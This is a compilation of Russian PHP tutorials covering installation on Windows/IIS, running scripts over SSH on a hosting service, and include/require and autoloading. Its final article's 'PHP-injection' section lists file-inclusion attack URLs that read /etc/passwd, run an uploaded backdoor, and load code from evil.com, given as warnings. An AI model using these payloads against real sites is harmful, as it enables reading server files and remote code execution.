Общие инструкции по установке
Для первой и наиболее распространённой цели вам нужны три вещи: Сам PHP, веб-сервер и веб-браузер. Вероятно, у вас уже есть веб-браузер и, в зависимости от настроек вашей операционной системы, вы также можете иметь и веб-сервер (например, Apache в Linux и macOS; IIS в Windows). Также вы можете арендовать веб-сервер или некоторое дисковое пространство на веб-сервере. В этом случае вам не нужно устанавливать дополнительное программное обеспечение, только писать PHP-скрипты, загружать их на сервер и просматривать результат их работы в браузере.
В случае установки сервера и PHP самостоятельно у вас есть два варианта установки PHP. Для многих серверов PHP может быть установлен как модуль сервера. Это возможно для таких серверов, как Apache, Microsoft Internet Information Server, Netscape и iPlanet. Если PHP не поддерживает интерфейс для вашего сервера, вы всегда можете использовать его как обработчик CGI или FastCGI. Это означает, что вы должны настроить ваш сервер так, чтобы он исполнял все PHP файлы, как CGI-скрипты.
Если вы также собираетесь использовать PHP в командной строке (для генерации изображений, обработки текстов и т.д.), то вам понадобится PHP CLI. Подробнее об этом можно прочитать в разделе Использование PHP в командной строке. В этом случае вам не понадобятся ни сервер, ни браузер.
Вы также можете создавать приложения с графическим интерфейсом, используя при этом модуль PHP-GTK. Это требует абсолютно другого подхода, чем программирование под Веб, т.к. вы не выводите HTML или текст, а управляете окнами при помощи PHP. Для получения более полной информации о PHP-GTK » посетите сайт, посвящённый этому модулю . PHP-GTK не включён в стандартную поставку PHP.
Начиная с этого момента мы будем описывать установку PHP для веб-серверов на Unix и Windows, как модуля сервера и как CGI. Вы также можете найти информацию об использовании PHP в командной строке в следующих разделах.
Исходные коды и бинарные сборки для Windows можно получить здесь: » https://www.php.net/downloads.php.
User Contributed Notes
There are no user contributed notes for this page.
- Установка и настройка
- Общие инструкции по установке
- Установка на Unix-системы
- Установка на macOS
- Установка в системах Windows
- Установка на платформах Cloud Computing
- Менеджер процессов FastCGI (FPM)
- Установка модулей PECL
- Проблемы?
- Конфигурация времени выполнения
Установка и настройка PHP
Самый быстрый и простой способ установить PHP в службах IIS — использовать установщик веб-платформы Майкрософт® (Web PI). Web PI полностью автоматизирует настройку IIS, FastCGI и последней версии PHP с веб-сайта php.net. С помощью web PI можно перейти на вкладку «Веб-платформа» и выбрать «PHP» в разделе «Настройка платформы и среды выполнения». Кроме того, используйте инструкции, приведенные в качестве инструкций по установке PHP с помощью установщика Windows® или установки сжатого (ZIP-файла).
Существует две сборки для каждой версии PHP: одна является потокобезопасной, а другая — нет (называется непотобезопасной [NTS] версией). Потокобезопасная версия предназначена для сред, в которых ядро веб-сервера может хранить обработчик PHP в памяти, выполняя несколько потоков выполнения для разных веб-запросов одновременно. Архитектура IIS и расширение FastCGI предоставляют модель изоляции, которая отделяет запросы, избавляя от необходимости в потокобезопасной версии. Версия NTS не содержит ни одного кода, который позволяет PHP управлять несколькими потоками. В результате при использовании версии NTS в службах IIS улучшена производительность по сравнению с версией с защитой от протектора, так как версия NTS позволяет избежать ненужных проверок безопасности потока (FastCGI обеспечивает однопотоковую среду выполнения).
Установка PHP
Существует два main способов установки PHP на компьютере под управлением Windows®: скачать установщик Windows или использовать ZIP-файл Windows с веб-сайта PHP. Любой из этих методов обеспечит работу PHP, но оба имеют некоторые дополнительные шаги, необходимые для обеспечения правильной работы PHP.
Установщик Windows
Версия установщика Windows может запустить полную среду PHP, но установка расширений может запутать. По умолчанию расширения не устанавливаются, что может отрицательно сказаться на полезности установки PHP. Кроме того, можно установить все расширения; это приводит к нестабильной системе, так как некоторые расширения могут конфликтовать с другими. Как правило, проще использовать установку ZIP-файла.
Установка ZIP-файла
Чтобы использовать установку ZIP-файла, следуйте инструкциям в статье Использование FastCGI для размещения приложений PHP в IIS 7.0 и более поздних версий. При установке ZIP-файла устанавливаются многие расширения, доступные для версии установщика Windows; однако ни одно из расширений не включено, пока не будут настроены их записи в файле Php.ini.
- Скачайте последний непотобезопасный ZIP-пакет с двоичными файлами PHP. В разделе Двоичные файлы Windows щелкните самый актуальный непотобезопасный ZIP-пакет PHP, чтобы скачать файлы PHP.
- Распакуйте файлы в каталог по своему выбору (например, C:\PHP ) на сервере IIS.
- Переименуйте рекомендуемыйPhp.iniнаphp.ini.
- Откройте файлPhp.ini в текстовом редакторе, а затем раскомментируйте и измените параметры следующим образом:
- Задайте fastcgi.impersonate = 1.
FastCGI под управлением служб IIS поддерживает возможность олицетворения токенов безопасности вызывающего клиента. Это позволяет IIS определить контекст безопасности, в котором выполняется запрос. - Задать cgi.fix_pathinfo = 0
Cgi.fix_pathinfo обеспечивает поддержку PATH_INFO/PATH_TRANSLATED для общего интерфейса шлюза (CGI). Установка значения 1 приведет к тому, что PHP CGI исправит свои пути в соответствии со спецификацией. - Задайте cgi.force_redirect = 0.
- Задайте open_basedir , чтобы указать папку или сетевой путь, где находится содержимое веб-сайтов.
- Задайте extension_dir , чтобы указать расположение, в котором находятся расширения PHP. Для PHP 5.2.X обычно это extension_dir = «./ext».
- Задайте error_log=»C:php_errors.log»
Это может помочь в устранении неполадок. - Включите необходимое расширение PHP, отменив комментарии соответствующих строк. Дополнительные сведения см. в разделе Расширения.
Рис. 1. Расширения Windows
- Задайте fastcgi.impersonate = 1.
- Щелкните Пуск, Параметрыпанель управления, а затем дважды щелкните значок Система (в представлении классов).
- Щелкните ссылку Дополнительные параметры системы в левом столбце.
- В окне Свойства системы перейдите на вкладку Дополнительно и нажмите кнопку Переменные среды внизу.
- Выберите переменную Path в разделе Системные переменные и щелкните Изменить. Добавьте в c:\php системный путь.

Рис. 2. Изменение системной переменной - Нажимайте кнопку ОК, пока не завершите окно свойств Системы.
- Запустите диспетчер IIS, щелкнув Пуск, Программы, Администрирование, а затем Диспетчер служб IIS.
- В диспетчере IIS щелкните имя узла сервера на панели Подключения слева.
- Дважды щелкните значок Сопоставления обработчиков .

Рис. 3. Диспетчер служб IIS - На панели Действиясопоставления обработчиков щелкните Добавить сопоставление модулей.

Рис. 4. Сопоставления обработчиков - Введите следующие сведения в соответствующие текстовые поля и нажмите кнопку ОК.
- Путь запроса: *.php
- Модуль : FastCGImodule
- Исполняемый файл: C:\php\php-cgi.exe
- Имя: FastCGI
Рис. 5. Добавление карты скриптов

- Теперь вы увидите страницу сведений о PHP по адресу http://localhost/phpinfo.php .
Рис. 6. Страница сведений о PHP - Расширения базы данных . Большинство приложений с открытым кодом, использующих MySQL для ядра СУБД, используют расширения php_mysql или php_mysqli . Для новых работ по разработке любое из этих расширений работает хорошо, или рассмотрите возможность использования PDO-версий драйвера MySQL (PDO — это расширение PHP, предоставляющее уровень абстракции доступа к данным, который можно использовать с различными базами данных); Этот дополнительный уровень абстракции предоставляет более широкий набор функций и элементов управления базой данных объектов. Если ядром СУБД является Microsoft® SQL Server ® (или экспресс-версия, например Microsoft® SQL Server ® 2008 Express или Microsoft® SQL Server ® 2005 Express Edition), используйте расширение php_mssql для приложений с открытым кодом. Для новых работ по разработке используйте версию PDO драйвера SQL.
- Расширения обработки изображений . Многие приложения с открытым кодом, которые позволяют работать с изображениями, используют расширение GD2 — php_gd2, которое имеет ряд хороших базовых интерфейсов программирования приложений (API) для обработки изображений. В некоторых приложениях используется приложение и библиотеки ImageMagick. Существует также php_exif библиотека для работы с расширенной информацией, которую современные цифровые камеры хранят в изображениях.
- Расширения для интернационализации и локализации&mdash— два наиболее часто используемых расширения для i18n и l10n: php_mbstring (многобайтовая строка) и php_gettext (поддержка собственного языка). Многие из приложений с открытым кодом используют один или оба из них.
- Расширения веб-служб — выберите расширения веб-служб в зависимости от требуемых служб. Для PHP широко используется расширение SOAP. Расширение XML-RPC часто используется в сочетании с SOAP и другими службами.
- extension_dir = . Extension_dir должен указывать на каталог, в котором хранятся расширения PHP. Путь может быть полным (например, C:\PHP\ext ) или относительным (например, .\ext). Расширения, указанные ниже в файле Php.ini, должны находиться в extension_dir. Если указанные расширения отсутствуют в extension_dir, PHP выдаст предупреждающее сообщение в начале выполнения скрипта, и приложение может отобразить ошибки из-за отсутствия функциональных возможностей.
- extension = xxxxxx.dll Для каждого включенного расширения необходима соответствующая директива extension= , которая сообщает PHP, какие расширения в extension_dir загружать во время запуска.
- log_errors=Включено Ошибки PHP также могут проходить через средство ведения журнала ошибок PHP. Его можно использовать для отправки ошибок в файл или службу (например, системный журнал) и работать с error_logdirective, описанными ниже. При выполнении под управлением служб IIS log_errors следует включить с действительной директивой error_log. В противном случае FastCGI считает любые сообщения о запуске (которые могут быть неопасными) как условие ошибки, которое создает код ошибки HTTP 500, возвращаемый браузеру.
- error_log= В error_log необходимо указать полный или относительный путь к файлу, в котором хранится журнал ошибок PHP. Этот файл должен быть записываемым для службы IIS. Наиболее распространенные места для этого файла находятся в различных временных каталогах (например, C:\inetpub\temp\php-errors.log ). Это помещает журнал в место, которое могут использовать СЛУЖБЫ IIS, а также сохраняет журнал близко к месту выполнения приложений PHP.
- cgi.force_redirect = 0 Эта директива необходима для выполнения в IIS. Это средство безопасности каталогов, необходимое для многих других веб-серверов; Однако включение этого параметра в IIS приведет к сбою обработчика PHP в Windows.
- cgi.fix_pathinfo = 1 Это позволяет PHP получать доступ к сведениям о реальном пути в соответствии со спецификацией CGI. Для реализации FastCGI IIS требуется задать данное расширение.
- fastcgi.impersonate = 1 FastCGI в iis поддерживает возможность олицетворения маркеров безопасности вызывающего клиента. Это позволяет СЛУЖБАм IIS определить контекст безопасности, в котором выполняется запрос.
- fastcgi.logging = 0 Ведение журнала FastCGI должно быть отключено в IIS. Если он не включен, то все сообщения любого класса обрабатываются FastCGI как условия ошибки, что приведет к созданию исключения HTTP 500.
- max_execution_time=## Эта директива задает максимальное время, которое может быть затрачено на выполнение любого заданного скрипта. По умолчанию это 30 секунд. Некоторым приложениям требуется больше времени на обработку пакетных операций (например, загрузка Gallery2 нескольких изображений с удаленного ресурса). Однако не рекомендуется устанавливать время выполнения более 300 секунд, так как обычно имеются другие части соединения, которые не могут поддерживать настолько длительное время выполнения.
- memory_limit=###M Объем памяти, доступной для процесса PHP (в МБ). Значение по умолчанию — 128 МБ, что подходит для большинства приложений PHP.
- display_errors=Off Эта директива определяет, следует ли включать какие-либо сообщения об ошибках в потоке, возвращаемом на веб-сервер. Если этот параметр включен, PHP будет отправлять классы ошибок, определенные с помощью директивы error_reporting , обратно в iis как часть потока ошибок. Многие из приложений с открытым исходным кодом обходят сообщение об ошибках путем выполнения команд, начинающихся со знака коммерческого at [@]. Это позволяет приложениям управлять обработкой ошибок.
- Функции почты Php по умолчанию настроен для отправки исходящей почты через SMTP-сервер, расположенный в той же системе, что и веб-сервер. Обратите внимание, что большинство установок Windows обычно имеют веб-серверы и почтовые серверы в разных системах.
- В Windows® Обозреватель создайте подкаталог сеанса в каталоге установки PHP.
- Щелкните правой кнопкой мыши каталог сеанса и выберите Свойства.
- На вкладке Безопасность нажмите кнопку Изменить.
- Нажмите кнопку Добавить и введите IIS_IUSRS для параметра Введите имена объектов для выбора.
- Нажмите кнопку ОК.
- Выберите поле Изменить проверка разрешения и нажмите кнопку ОК.
Рис. 7. Разрешения для папки сеанса - Нажмите кнопку ОК в окне Свойства сеанса .
- Откройте php.ini в каталоге установки PHP и задайте для параметра session.save_path подкаталог сеанса :
Расширения
Важно определить, какие расширения требуются приложениям, которые будут выполняться, а затем ограничить установленные расширения только теми. Например, для типичной установки приложений с открытым кодом устанавливаются следующие расширения:
Параметры файла PHP.INI
Файл Php.ini предоставляет PHP сведения о конфигурации и среде. Ниже приведен ряд параметров для файла Php.ini, которые помогают PHP лучше работать с Windows.
Необходимые параметры
Необязательные параметры
Включение состояния сеанса PHP
session.save_path = "C:\php\session"

Рис. 8. Команда IISRESET Обратите внимание, что PHP по умолчанию использует состояние сеанса на основе файла. Вы можете изменить ряд дополнительных параметров сеанса, включая то, следует ли использовать сеансы cookie или URL-адреса, а также следует ли создавать сеансы по первому запросу или создавать их явным образом.
См. также раздел
- Комплект обучения PHP в Windows.
- Установка PHP в Windows Server 2008.
- PHP в IIS7.
- Развертывание IIS 7.5 + FASTCGI + PHP на серверных ядрах.
Как запустить PHP-скрипт через командную строку?
Для чего нужен запуск php-скриптов через командную строку? Он позволяет проверить и отладить работу скриптов на новой версии PHP или с иными значениями PHP-директив, не меняя их для всего сайта целиком (например, если на более высокой версии PHP скрипт работает некорректно, то его запуск через консоль не нарушит работу сайта, что может произойти если сменить версию на самом сайте).
Также это позволит обойти ограничение времени работы скриптов при запуске их через браузер, которое есть на всех хостингах (делается это для того, чтобы некорректно написанные скрипты, например зацикленные, не могли нарушить работу сервера в целом) — скрипт будет работать, пока достаточно ресурсов на услуге хостинга.
Подключить SSH-доступ
1. Чтобы иметь возможность запустить PHP скрипт из командной строки, необходимо иметь услугу хостинга с активным SSH-доступом. Проверить, активен ли SSH-доступ у Вас, можно в панели хостинга в разделе «Инструменты». Если при открытии данного раздела есть пункт «Shell-клиент», то SSH-доступ на Вашей услуге хостинга открыт.

Если же такого пункта нет, то Вам нужно через личный аккаунт создать запрос в службу поддержки, чтобы данный доступ предоставили.
Подключение по SSH
2. После получения SSH-доступа, подключимся к нашей услуге через любой SSH-клиент.
Либо можно использовать Shell-клиент из панели хостинга, но он не совсем удобен, для тех случаев, когда команды требуется откуда-то копировать и затем вставлять в консоль.
Команды для подключения через терминал Linux или утилиту PowerShell Windows будет иметь следующий вид:
ssh -p 34716 логин@имя или IP-адрес сервера.
Логином служит имя пользователя от панели хостинга.
Примеры:
ssh -p 34716 usertest@fry.handyhost.ru

ssh -p 34716 usertest@109.95.210.219
После подключения можем приступать к запуску.
Запуск PHP-скрипта
3. Самый простой вариант — команда вида php/путь/к/скрипту. Такая команда запустит указанный Вами скрипт через нативную версию PHP (системную версию PHP, которая по умолчанию устанавливалась для ОС сервера с Вашей услугой хостинга), с теми настройками, которые установлены на сервере по умолчанию.
Пример:
php /var/www/usertest/data/www/fryhh.onhh.ru/info.php
Узнать какая версия PHP используется по умолчанию на сервер с Вашей услугой можно командой: php -v 
В данном примере версией PHP, используемой по умолчанию является версия 7.3.
4. Для запуска через конкретную версию PHP указать в нашей команде путь к сборке PHP соответствующей версии. Команда будет иметь вид:
/opt/alt/phpXX/usr/bin/php/путь/к/скрипту
Примеры:
/opt/alt/php53/usr/bin/php /var/www/usertest/data/www/fryhh.onhh.ru/info.php
/opt/alt/php72/usr/bin/php /var/www/usertest/data/www/fryhh.onhh.ru/info.php
/opt/alt/php81/usr/bin/php /var/www/usertest/data/www/fryhh.onhh.ru/info.php
Список доступных сборок:
/opt/alt/php51/usr/bin/php
/opt/alt/php52/usr/bin/php
/opt/alt/php53/usr/bin/php
/opt/alt/php54/usr/bin/php
/opt/alt/php55/usr/bin/php
/opt/alt/php56/usr/bin/php
/opt/alt/php70/usr/bin/php
/opt/alt/php71/usr/bin/php
/opt/alt/php72/usr/bin/php
/opt/alt/php73/usr/bin/php
/opt/alt/php74/usr/bin/php
/opt/alt/php80/usr/bin/php
/opt/alt/php81/usr/bin/php
На скриншоте запуск скрипта через версию PHP 5.1.

5. Важно — если в настройки той версии PHP, через которую запускается скрипт, были внесены изменения через панель хостинга, то скрипт также запустится с этими настройками PHP.
Скрипт, используемый в качестве примера в данной статье, выводит информацию о версии и настройках PHP, через которые он запущен.
На скриншоте показаны результаты его запуска через нативную версию PHP 7.4, для которой значение параметра memory_limit менялось и версию PHP 7.2, для которой изменения настроек не производилось (к результатам работы применен фильтр через функцию grep по параметру memory_limit).

Если нам по каким-то причинам требуется запустить скрипт через определенную версию PHP с настройками, отличающимися от тех, что заданы для этой версии через панель, то можно использовать опцию -n — не будут учитываться никакие ini-файлы и соответственно внесенные через панель изменения, либо опцию -d для переопределения конкретной директивы.
Примеры:
/opt/alt/php74/usr/bin/php -d memory_limit=1000M /var/www/usertest/data/www/fryhh.onhh.ru/info.php

/opt/alt/php74/usr/bin/php -n /var/www/usertest/data/www/fryhh.onhh.ru/info.php
На скриншоте показаны результаты запуска скрипта через PHP 7.4, для которой значений параметра memory_limit установлено на 350 Мб через панель хостинга. Запуск производился с опцией -n, опцией -d memory_limit=1000M, которая устанавливает значение параметра memory_limit на 1000 Мб и без дополнительных опций. К результатам вывода также применен фильтр через функцию grep по параметру memory_limit.
Купить хостинг на PHP можно на нашем сайте.
PHP для начинающих. Подключение файлов // PHP
В продолжении серии “PHP для начинающих”, сегодняшняя статья будет посвящена тому, как PHP ищет и подключает файлы.
Для чего и почему
PHP это скриптовый язык, созданный изначально для быстрого ваяния домашних страничек (да, да изначально это же Personal Home Page Tools), а в дальнейшем на нём уже стали создавать магазины, социалки и другие поделки на коленке которые выходят за рамки задуманного, но к чему это я – а к тому, что чем больше функционала закодировано, тем больше желание его правильно структурировать, избавиться от дублирования кода, разбить на логические кусочки и подключать лишь при необходимости (это тоже самое чувство, которое возникло у вас, когда вы читали это предложение, его можно было бы разбить на отдельные кусочки). Для этой цели в PHP есть несколько функции, общий смысл которых сводится к подключению и интерпретации указанного файла. Давайте рассмотрим на примере подключения файлов:
// file variable.php $a = 0; // file increment.php $a++; // file index.php include ('variable.php'); include ('increment.php'); include ('increment.php'); echo $a;
Если запустить скрипт index.php, то PHP всё это будет последовательно подключать и выполнять:
$a = 0; $a++; $a++; echo $a; // выведет 2
Когда файл подключается, то его код оказывается в той же области видимости, что и строка в которой его подключили, таким образом все переменные, доступные в данной строке будут доступны и в подключаемом файле. Если в подключаемом файле были объявлены классы или функции, то они попадают в глобальную область видимости (если конечно для них не был указан namespace).
Если вы подключаете файл внутри функции, то подключаемые файлы получают доступ к области видимости функции, таким образом следующий код тоже будет работать:
function a() < $a = 0; include ('increment.php'); include ('increment.php'); echo $a; >a(); // выведет 2
Отдельно отмечу магические константы: __DIR__ , __FILE__ , __LINE__ и прочие – они привязаны к контексту и выполняются до того, как происходит включение
Особенностью подключения файлов является тот момент, что при подключении файла парсинг переключается в режим HTML, по этой причине любой код внутри включаемого файла должен быть заключен в PHP теги:
А вы видели сайт-файл на 10 000 строк? Аж слёзы на глазах…
Функции подключения файлов
Как уже было сказано выше, в PHP существует несколько функции для подключения файлов:
- include – включает и выполняет указанный файл, если не находит – выдаёт предупреждение E_WARNING
- include_once – аналогично функции выше, но включает файл единожды
- require – включает и выполняет указанный файл, если не находит – выдаёт фатальную ошибку E_ERROR
- require_once – аналогично функции выше, но включает файл единожды
В действительности, это не совсем функции, это специальные языковые конструкции, и можно круглые скобочки не использовать. Кроме всего прочего есть и другие способы подключения и выполнения файлов, но это уже сами копайте, пусть это будет для вас “задание со звёздочкой” 😉
Давайте разберём на примерах различия между require и require_once , возьмём один файл echo.php:
text of file echo.php
И будем его подключать несколько раз:
Результатом выполнения будет два подключения нашего файла:
text of file echo.php
text of file echo.php
Существует ещё парочка директив, которые влияют на подключение, но они вам не потребуются – auto_prepend_file и auto_append_file – они позволяют установить файлы которые будут подключены до подключения всех файлов и после выполнения всех скриптов соответственно, я даже не могу придумать живой сценарий, когда это может потребоваться.
Задание
Таки придумать и реализовать сценарий по использованию директив auto_prepend_file и auto_append_file , менять их можно только в php.ini, .htaccess или httpd.conf (см. PHP_INI_PERDIR) 🙂
Где ищет?
PHP ищет подключаемые файлы в директориях прописанных в директиве include_path. Эта директива также влияет на работу функций fopen() , file() , readfile() и file_get_contents() . Алгоритм работы достаточно простой – при поиске файлов PHP по очереди проверяет каждую директорию из include_path , пока не найдет подключаемый файл, если не найдёт – вернёт ошибку. Для изменения include_path из скрипта следует использовать функцию set_include_path().
При настройке include_path следует учитывать один важный момент – в качестве разделителя путей в Windows и Linux используются различные символы – “;” и “:” соответственно, так что при указании своей директории используйте константу PATH_SEPARATOR , например:
// пример пути в linux $path = '/home/dev/library'; // пример пути в windows $path = 'c:\Users\Dev\Library'; // для linux и windows код изменение include_path идентичный set_include_path(get_include_path() . PATH_SEPARATOR . $path);
Когда вы прописываете include_path в ini файле, то можете использовать переменные окружения типа $ :
include_path = ".:$/my-php-library"
Если при подключении файла вы прописываете абсолютный путь (начинающийся с “/”) или относительный (начинающийся с “.” или “..”), то директива include_path будет проигнорирована, а поиск будет осуществлён только по указанному пути.
Возможно стоило бы рассказать и про safe_mode, но это уже давно история (с версии 5.4), и я надеюсь вы сталкиваться с ним не будете, но если вдруг, то чтобы знали, что такое было, но прошло
Использование return
Расскажу о небольшом life-hack’е – если подключаемый файл возвращает что-либо с использованием конструкции return , то эти данные можно получить и использовать, таким образом можно легко организовать подключение файлов конфигурации, приведу пример для наглядности:
return array( 'host' => 'localhost', 'user' => 'root', 'pass' => '' );
$dbConfig = require 'config/db.php'; var_dump($dbConfig); /* array( 'host' => 'localhost', 'user' => 'root', 'pass' => '' ) */
Занимательные факты, без которых жилось и так хорошо: если во включаемом файле определены функции, то они могут быть использованы в основном файле вне зависимости от того, были ли они объявлены до return или после
Задание
Написать код, который будет собирать конфигурацию из нескольких папок и файлов. Структура файлов следующая:
config |-- default | |-- db.php | |-- debug.php | |-- language.php | `-- template.php |-- development | `-- db.php `-- production |-- db.php `-- language.php
При этом код должен работать следующим образом:
- если в системном окружении есть переменная PROJECT_PHP_SERVER и она равна development , то должны быть подключены все файлы из папки default, данные занесены в перемененную $config , затем подключены файлы из папки development, а полученные данные должны перетереть соответствующие пункты сохраненные в $config
- аналогичное поведение если PROJECT_PHP_SERVER равна production (естественно только для папки production)
- если переменной нет, или она задана неверно, то подключаются только файлы из папки default
Автоматическое подключение
Конструкции с подключением файлов выглядят очень громоздко, так и ещё и следить за их обновлением – ещё тот подарочек, зацените кусочек кода из примера статьи про исключения:
// load all files w/out autoloader require_once 'Education/Command/AbstractCommand.php'; require_once 'Education/CommandManager.php'; require_once 'Education/Exception/EducationException.php'; require_once 'Education/Exception/CommandManagerException.php'; require_once 'Education/Exception/IllegalCommandException.php'; require_once 'Education/RequestHelper.php'; require_once 'Education/Front.php';
Чтобы избежать подобного “счастья” была придумана функция __autoload – с её помощью можно подключать необходимые нам файлы по имени класса, но лишь при одном условии – для каждого класса создан отдельный файл по имени класса. Вот пример реализации функции __autoload() (пример из комментариев в мануале):
Класс который будем подключать:
// класс myClass в отдельном файле myClass.php class myClass < public function __construct() < echo "myClass init'ed successfuly. "; >>
Файл, который подключает данный класс:
// пример реализации // ищем файлы в текущей директории function __autoload($classname) < $filename = $classname .".php"; include_once($filename); >// создаём класс $obj = new myClass();
Теперь о проблемах с данной функцией – представьте на минуточку ситуацию, что вы подключаете сторонний код, а там уже кто-то прописал функцию __autoload() для своего кода, и вуаля:
Fatal error: Cannot redeclare __autoload()
Чтобы такого не было, создали функцию, которая позволяет регистрировать произвольную функцию или метод в качестве загрузчика классов – spl_autoload_register, теперь index.php будет выглядеть следующим образом:
// пример реализации // ищем файлы в текущей директории function myAutoload($classname) < $filename = $classname .".php"; include_once($filename); >// регистрируем загрузчик spl_autoload_register('myAutoload'); // создаём класс $obj = new myClass();
Рубрика “а вы знали?”: первый параметр spl_autoload_register() не является обязательным, и вызвав функцию без него, в качестве загрузчика будет использоваться функция spl_autoload, поиск будет осуществлён по папкам из include_path и файлам с расширением .php и .inc , но этот список можно расширить с помощью функции spl_autoload_extensions
Теперь каждый разработчик может регистрировать свой загрузчик, главное чтобы имена классов не совпадали, но это не должно стать проблемой, если вы используете пространства имён.
Поскольку уже давно существует такой продвинутый функционал как spl_autoload_register() , то функцию __autoload() хотят заявить как deprecated в PHP 7.1, а это значит, что в 7.2 её и вовсе может не быть
Ну более-менее картина прояснилась, хотя погодите, все зарегистрированные загрузчики становятся в очередь, по мере их регистрации, соответственно если кто-то нахимичил в своё загрузчике, то вместо ожидаемого результата может получится очень неприятный баг. Чтобы такого не было, взрослые умные дядьки описали стандарт, который позволяет подключать сторонние библиотеки без проблем, главное чтобы организация классов в них соответствовала стандарту PSR-0 (уже устарел) или PSR-4. В чём суть требований описанных в стандартах:
- Каждая библиотека должна жить в собственном пространстве имён (т.н. vendor namespace)
- Для каждого пространства имён должна быть создана собственная папка
- Внутри пространства имён могут быть свои подпространства – тоже в отдельных папках
- Один класс – один файл
- Имя файла с расширением .php должно точно соответствовать имени класса
Пример из мануала:
| Полное имя класса | Пространство имён | Базовая директория | Полный путь |
|---|---|---|---|
| \Acme\Log\Writer\File_Writer | Acme\Log\Writer | ./acme-log-writer/lib/ | ./acme-log-writer/lib/File_Writer.php |
| \Aura\Web\Response\Status | Aura\Web | /path/to/aura-web/src/ | /path/to/aura-web/src/Response/Status.php |
| \Symfony\Core\Request | Symfony\Core | ./vendor/Symfony/Core/ | ./vendor/Symfony/Core/Request.php |
| \Zend\Acl | Zend | /usr/includes/Zend/ | /usr/includes/Zend/Acl.php |
Различия этих двух стандартов, лишь в том, что PSR-0 поддерживает старый код без пространства имён, а PSR-4 избавлен от этого анахронизма, да ещё и позволяет избежать ненужной вложенности папок.
Благодаря этим стандартам стало возможно появление такого инструмента как composer – универсального менеджера пакетов для PHP:
PHP-инъекция
Ещё хотел рассказать о первой ошибки всех, кто делает единую точку входа для сайта в одном index.php и называет это MVC-фреймворком:
Смотришь на код, и так и хочется чего-нить вредоносного туда передать:
// получить неожиданное поведение системы http://domain.com/index.php?page=../index.php // прочитать файлы в директории сервера http://domain.com/index.php?page=config.ini // прочитать системные файлы http://domain.com/index.php?page=/etc/passwd // запустить файлы, которые мы заранее залили на сервер http://domain.com/index.php?page=user/backdoor.php
Первое, что приходит на ум – принудительно добавлять расширение .php , но в ряде случаев это можно обойти “благодаря” уязвимости нулевого байта (почитайте, эту уязвимость уже давно исправили, но вдруг вам попадётся интерпретатор более древний, чем PHP 5.3, ну и для общего развития тоже рекомендую):
// прочитать системные файлы http://domain.com/index.php?page=/etc/passwd%00
В современных версиях PHP наличие символа нулевого байта в пути подключаемого файла сразу приводит к соответствующей ошибке подключения, и даже если указанный файл существует и его можно подключить, то в результате всегда будет ошибка, проверяется это следующим образом strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename) (это из недров самого PHP)
Так же существует “чудесная” директива allow_url_include (у неё зависимость от allow_url_fopen), она позволяет подключать и выполнять удаленный PHP файлы, что куда как опасней для вашего сервера:
// подключаем удалённый PHP скрипт http://domain.com/index.php?page=http://evil.com/index.php
Увидели, запомнили, и никогда не пользуйтесь, благо по умолчанию выключено. Данная возможность вам потребуется чуть реже, чем никогда, во всех остальных случаях закладывайте правильную архитектуру приложения, где различные части приложения общаются посредством API.
Задание
Написать скрипт, который позволит подключать php-скрипты из текущей папки по названию, при этом следуют помнить о возможных уязвимостях и не допустить промашек.
В заключение
Данная статья – основа-основ в PHP, так что изучайте внимательно, выполняйте задания и не филоньте, за вас никто учить не будет.
Информация
- jQuery для начинающих
- jQuery для всех
- PHP для всех
Проекты
- Charts Builder
- Photo Blog
- Syntax Highlighter
Блогролл
- NIX Solutions Ltd.
- Мысли с самого низа
- Прохождение игр
© Антон Шевчук 2007-2023
